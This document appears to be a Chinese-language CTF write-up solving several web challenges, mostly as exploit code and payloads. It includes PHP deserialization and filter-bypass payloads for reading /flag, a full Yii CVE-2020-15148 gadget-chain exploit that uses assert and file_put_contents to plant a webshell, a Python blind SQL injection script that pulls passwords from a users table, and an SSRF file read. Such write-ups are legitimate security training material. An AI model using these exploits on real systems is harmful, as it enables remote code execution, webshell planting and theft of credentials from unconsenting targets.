class logger{
public $logFile;
public $initMsg;
public $exitMsg;
function __construct($file){
// initialise variables
$this->initMsg="#--session started--#\n";
$this->exitMsg="#--session end--#\n";
$this->logFile = $file;
readfile($this->logFile);
}
function log($msg){
$fd=fopen($this->logFile,"a+");
fwrite($fd,$msg."\n");
fclose($fd);
}
function __destruct(){
echo "this is destruct";
}
}
class weblog {
public $weblogfile;
function __construct() {
$flag="system('cat /flag')";
echo "$flag";
}
function __wakeup(){
// self::waf($this->filepath);
$obj = new logger($this->weblogfile);
}
public function waf($str){
$str=preg_replace("/[<>*#'|?\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}
function __destruct(){
echo "this is destruct";
}
}
$log = $_GET['log'];
$log = preg_replace("/[<>*#'|?\n ]/","",$log);
$log = str_replace('flag','',$log);
$log_unser = unserialize($log);
?>
有一处迷惑点,但是weblog是序列化出来的,不会执行到__construct()方法,而是利用到logger里面的readfile函数,直接去读flag,str_replace的绕过双写就好了
exp:
class weblog {
public $weblogfile = '/flflagag';
function __construct() {
$flag="system('cat /flag')";
echo "$flag";
}
function __wakeup(){
// self::waf($this->filepath);
$obj = new logger($this->weblogfile);
}
}
$a = new weblog();
echo serialize($a);
payload:O:6:"weblog":1:{s:10:"weblogfile";s:9:"/flflagag";}
直接通配符干上去
?>=`/???/???%20/????`?>
base64解码后,再url解码,得到用/隔开的ascii码,转字符串就出来了
#Really easy...
$file=fopen("flag.php","r") or die("Unable 2 open!");
$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));
$hack=fopen("hack.php","w") or die("Unable 2 open");
$a=$_GET['code'];
if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){
die("you die");
}
if(strlen($a)>33){
die("nonono.");
}
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);
fclose($file);
fclose($hack);
?>
非预期payload:
?code=
访问hack.php就好了
预期:
?code=%20show_source("fl"."ag.php");
CVE-2020-15148
poc1:
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1';//填到4可以看禁用函数
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
payload:
这个site/about
是类的前面单词和漏洞方法的后面单词拼出来的
?r=site/about&message=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19
禁用了函数
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl,mail,putenv,error_log,error_reporting,unset,unlink,return
使用assert
执行PHP代码,传马上去
如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行
poc2:
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'assert';
$this->id = 'file_put_contents("1.php","")';
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = [new IndexAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new Generator();
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
发现什么权限都莫有,无法执行/readflag
/image.php?id=1
这里存在sql注入,为0的时候就返回空,1的时候返回一张图片
所以可以进行布尔盲注,跑出库名表名,再跑出记录
import requests
import time
url = 'http://eci-2zeje1p4965kdzhvr343.cloudeci1.ichunqiu.com/image.php?id='
flag = ''
# 设flag的最大长度在50内,for遍历到 i 来拼接
for i in range(1, 50):
max = 127
min = 0
# 遍历所有的Ascii
for c in range(0, 127):
# 二分法查找
s = int((max + min) / 2)
payload ='(ascii(substr((select/**/group_concat(password)/**/from/**/users),%d,1))<%d)' % (i, s)
r = requests.get(url+payload)
if len(str(r.content)) > 50:
max = s
else:
min = s
if (max - min) <= 1:
flag += chr(max-1)
print(flag)
break
print(flag)
然后就是SSRF
file:///flag
data1给了很多数字,但是不超过20个数字,而且Data2前60位是有数据的
猜测:data2的前60位是20个RGB值
poc:
from PIL import Image
x = 37
y = 191
im = Image.new("RGB", (x,y))
s1 = [_ for _ in open("data1", "r").read().split(" ") if _ != ""]
s2 = open("data2", "rb").read()[:60]
rgb = []
for i in range(0, len(s2), 3):
rgb.append((s2[i], s2[i+1], s2[i+2]))
print(rgb)
for i in range(len(s1)):
im.putpixel((i // 191, i % 191), rgb[int(s1[i])])
im.save("res.png")